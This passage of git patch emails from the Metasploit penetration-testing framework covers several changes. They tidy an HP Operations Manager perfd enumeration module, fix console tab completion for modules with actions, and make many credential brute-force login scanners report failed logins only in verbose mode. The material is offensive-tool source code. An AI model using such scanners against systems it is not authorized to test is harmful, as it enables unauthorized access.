OptEnum.new("CMD", [true, 'Command to execute', 'p', [ 'u', 'i', 'p', 'a', 'g', 'l', 'T', 'A', 'q' ]]) ], self.class) end @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary resp = sock.get_once if (resp and resp =~ /Welcome/) - print_status("#{target_host}:#{rport}, Perfd server banner: #{resp}") + print_good("#{target_host}:#{rport}, Perfd server banner: #{resp}") report_service(:host => rhost, :port => rport, :name => "perfd", :proto => "tcp", :info => resp) else print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") From 238a30a7694a2dcee9417a1e8d1028ed3e159db3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 10 Oct 2014 12:12:43 -0500 Subject: [PATCH 079/107] Update print_error to include post modules --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 88c00933ff..403e15a20c 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2152,7 +2152,7 @@ class Core if (mod and (mod.auxiliary? or mod.post?)) show_actions(mod) else - print_error("No auxiliary module selected.") + print_error("No auxiliary or post module selected.") end else From 7e7e0259e4d88e90e33870199fd36c8dba1f8764 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 10 Oct 2014 12:20:59 -0500 Subject: [PATCH 080/107] Fix tab completion for post actions --- lib/msf/ui/console/command_dispatcher/core.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 403e15a20c..2d253ce527 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2009,7 +2009,7 @@ class Core res << 'ENCODER' end - if (mod.auxiliary?) + if (mod.auxiliary? or mod.post?) res << "ACTION" end @@ -2721,8 +2721,8 @@ class Core return option_values_encoders() if opt.upcase == 'StageEncoder' end - # Well-known option names specific to auxiliaries - if (mod.auxiliary?) + # Well-known option names specific to auxiliaries and posts + if (mod.auxiliary? or mod.post?) return option_values_actions() if opt.upcase == 'ACTION' end @@ -2869,7 +2869,7 @@ class Core # - # Provide valid action options for the current auxiliary module + # Provide valid action options for the current module # def option_values_actions res = [] From 291bfed47e66aa7e9bd3f67b7f624ffd66e4bdd4 Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto Date: Fri, 10 Oct 2014 15:17:40 -0300 Subject: [PATCH 081/107] Using Rex.sleep instead of select --- modules/auxiliary/gather/hp_enum_perfd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index e1947e5540..28e4908ed9 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary connect sock.put("\n"+cmd+"\n") - select(nil,nil,nil,0.5) + Rex.sleep(1) resp = sock.get_once if (resp and resp =~ /Welcome/) From 26743b4c3827f2524d0b4644989c0290a0d1f78d Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 10 Oct 2014 14:23:44 -0500 Subject: [PATCH 082/107] Rewrite existing code to use HasActions And fix a bug in the initial use case where mod.action was dropped. --- lib/msf/ui/console/command_dispatcher/core.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 2d253ce527..b311196a75 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2009,7 +2009,7 @@ class Core res << 'ENCODER' end - if (mod.auxiliary? or mod.post?) + if mod.kind_of?(Msf::Module::HasActions) res << "ACTION" end @@ -2149,7 +2149,7 @@ class Core print_error("No exploit module selected.") end when "actions" - if (mod and (mod.auxiliary? or mod.post?)) + if mod && mod.kind_of?(Msf::Module::HasActions) show_actions(mod) else print_error("No auxiliary or post module selected.") @@ -2721,8 +2721,8 @@ class Core return option_values_encoders() if opt.upcase == 'StageEncoder' end - # Well-known option names specific to auxiliaries and posts - if (mod.auxiliary? or mod.post?) + # Well-known option names specific to modules with actions + if mod.kind_of?(Msf::Module::HasActions) return option_values_actions() if opt.upcase == 'ACTION' end @@ -3147,7 +3147,7 @@ class Core end # Print the selected action - if mod.kind_of?(Msf::Module::HasActions) + if mod.kind_of?(Msf::Module::HasActions) && mod.action mod_action = Serializer::ReadableText.dump_module_action(mod, ' ') print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) end From a04ad3aa8ce49ce9fb2a8e97c938d0ec22f14124 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 10 Oct 2014 14:38:26 -0500 Subject: [PATCH 083/107] Update print_error to reflect new usage --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index b311196a75..20a6de64de 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2152,7 +2152,7 @@ class Core if mod && mod.kind_of?(Msf::Module::HasActions) show_actions(mod) else - print_error("No auxiliary or post module selected.") + print_error("No module with actions selected.") end else From cbde2e8cd16da21c06e8a927d679b541fa87a22a Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto Date: Fri, 10 Oct 2014 18:21:16 -0300 Subject: [PATCH 084/107] Variable cmd now with interpolation --- modules/auxiliary/gather/hp_enum_perfd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index 28e4908ed9..c1d25d2f07 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Auxiliary cmd = datastore['CMD'] connect - sock.put("\n"+cmd+"\n") + sock.put("\n#{cmd}\n") Rex.sleep(1) resp = sock.get_once From 7bd0f2c1146c4f0587493561fc80800a5cbb184a Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto Date: Sat, 11 Oct 2014 09:03:18 -0300 Subject: [PATCH 085/107] Changed Name, array in OptEnum and operator --- modules/auxiliary/gather/hp_enum_perfd.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index c1d25d2f07..477bcd8cee 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Enum Environment Perfd Daemon', + 'Name' => 'HP Operations Manager Perfd Environment Scanner', 'Description' => %q{ This module will enumerate the environment HP Operation Manager via daemon perfd. @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(5227), - OptEnum.new("CMD", [true, 'Command to execute', 'p', [ 'u', 'i', 'p', 'a', 'g', 'l', 'T', 'A', 'q' ]]) + OptEnum.new("CMD", [true, 'Command to execute', 'p', %w(u i p a g l T A q)]) ], self.class) end @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary Rex.sleep(1) resp = sock.get_once - if (resp and resp =~ /Welcome/) + if (resp && resp =~ /Welcome/) print_good("#{target_host}:#{rport}, Perfd server banner: #{resp}") report_service(:host => rhost, :port => rport, :name => "perfd", :proto => "tcp", :info => resp) else From 9500038695af5eaa8ac8bdcb9b2f784d8c9a900d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 11 Oct 2014 11:11:09 -0500 Subject: [PATCH 086/107] Fix #3995 - Make negative messages less verbose As an user testing against a large network, I only want to see good news, not bad news. --- modules/auxiliary/scanner/afp/afp_login.rb | 2 +- modules/auxiliary/scanner/db2/db2_auth.rb | 2 +- modules/auxiliary/scanner/ftp/ftp_login.rb | 2 +- modules/auxiliary/scanner/http/axis_login.rb | 8 ++++++-- modules/auxiliary/scanner/http/glassfish_login.rb | 8 ++++++-- modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb | 8 ++++++-- modules/auxiliary/scanner/http/http_login.rb | 8 ++++++-- modules/auxiliary/scanner/http/ipboard_login.rb | 8 ++++++-- modules/auxiliary/scanner/http/jenkins_login.rb | 2 +- modules/auxiliary/scanner/http/tomcat_mgr_login.rb | 2 +- modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb | 8 ++++++-- modules/auxiliary/scanner/mssql/mssql_login.rb | 2 +- modules/auxiliary/scanner/mysql/mysql_login.rb | 6 +++--- modules/auxiliary/scanner/pop3/pop3_login.rb | 8 ++++++-- modules/auxiliary/scanner/postgres/postgres_login.rb | 2 +- modules/auxiliary/scanner/smb/smb_login.rb | 8 ++++++-- modules/auxiliary/scanner/snmp/snmp_login.rb | 2 +- modules/auxiliary/scanner/ssh/ssh_login.rb | 8 ++++++-- modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb | 8 ++++++-- modules/auxiliary/scanner/telnet/telnet_login.rb | 2 +- modules/auxiliary/scanner/vmware/vmauthd_login.rb | 8 ++++++-- modules/auxiliary/scanner/vnc/vnc_login.rb | 2 +- modules/auxiliary/scanner/winrm/winrm_login.rb | 2 +- 23 files changed, 80 insertions(+), 36 deletions(-) diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index f94c8d1c91..8e57d6e852 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 013ee57bd7..ae366b59fa 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 0ab4ea0c3b..87a0fa175e 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index b7d3f8cf53..be6a1a8bd5 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -101,11 +101,15 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(credential_data) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login(credential_data) end end diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 84533936b0..037bc58445 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -147,7 +147,9 @@ class Metasploit3 < Msf::Auxiliary do_report(ip, rport, result) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end invalidate_login( address: ip, port: rport, @@ -160,7 +162,9 @@ class Metasploit3 < Msf::Auxiliary ) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login( address: ip, port: rport, diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index ac40eb19d4..1ec4b07c1c 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -125,7 +125,9 @@ class Metasploit3 < Msf::Auxiliary do_report(ip, rport, result) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end invalidate_login( address: ip, port: rport, @@ -138,7 +140,9 @@ class Metasploit3 < Msf::Auxiliary ) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login( address: ip, port: rport, diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index bd8797e6c9..611aa62a7e 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -164,11 +164,15 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(credential_data) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login(credential_data) end end diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 981177d46c..52f630c1dc 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -63,11 +63,15 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(credential_data) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login(credential_data) end end diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index a921eba05d..19baca6b58 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" end end end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 86a6eaef2d..62afa53bce 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 13c82b97a1..29aebafe18 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -108,11 +108,15 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(credential_data) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login(credential_data) end end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 9fd20bda6b..7ccb01177b 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index 0b3cefeec2..4ab0f18484 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -72,15 +72,15 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end else - print_error "#{target} - Unsupported target version of MySQL detected. Skipping." + vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping." end rescue ::Rex::ConnectionError, ::EOFError => e - print_error "#{target} - Unable to connect: #{e.to_s}" + vprint_error "#{target} - Unable to connect: #{e.to_s}" end end diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index 3968771de7..e772d9e11a 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -87,9 +87,13 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(credential_data) next when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'" + end end # If we got here, it didn't work diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index cc63a56ff3..76f951629b 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 113bd3c06b..bf1bed62b0 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -112,7 +112,9 @@ class Metasploit3 < Msf::Auxiliary report_creds(ip, rport, result) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end invalidate_login( address: ip, port: rport, @@ -125,7 +127,9 @@ class Metasploit3 < Msf::Auxiliary ) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}" + end invalidate_login( address: ip, port: rport, diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index bd6125a0f4..317ed53168 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index 8e984c7893..16f8a2ef39 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -132,12 +132,16 @@ class Metasploit3 < Msf::Auxiliary session_setup(result, scanner.ssh_socket) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login(credential_data) scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? else diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index 65aa7a0fa1..bd5053ae78 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -223,12 +223,16 @@ class Metasploit3 < Msf::Auxiliary session_setup(result, scanner.ssh_socket) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end invalidate_login(credential_data) scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? else diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 206ab55be5..926c5371a2 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index b8904638d1..c363e497f3 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -89,11 +89,15 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(credential_data) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + end invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}" + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}" + end invalidate_login(credential_data) end end diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 31bfc44f02..4ad16a34e9 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index ec0a77a730..0bacc5ca9e 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end From 9550c54cd2b8cb54c6c5eed89de46cdbc490ee14 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sat, 11 Oct 2014 10:39:12 -0700 Subject: [PATCH 087/107] Correct indentation and whitespace --- modules/auxiliary/gather/hp_enum_perfd.rb | 26 +++++++++++------------ 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index 477bcd8cee..62d73d577d 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -31,21 +30,20 @@ class Metasploit3 < Msf::Auxiliary def run_host(target_host) begin - cmd = datastore['CMD'] + cmd = datastore['CMD'] - connect - sock.put("\n#{cmd}\n") - Rex.sleep(1) - resp = sock.get_once - - if (resp && resp =~ /Welcome/) - print_good("#{target_host}:#{rport}, Perfd server banner: #{resp}") - report_service(:host => rhost, :port => rport, :name => "perfd", :proto => "tcp", :info => resp) - else - print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") - end - disconnect + connect + sock.put("\n#{cmd}\n") + Rex.sleep(1) + resp = sock.get_once + if (resp && resp =~ /Welcome/) + print_good("#{target_host}:#{rport}, Perfd server banner: #{resp}") + report_service(:host => rhost, :port => rport, :name => "perfd", :proto => "tcp", :info => resp) + else + 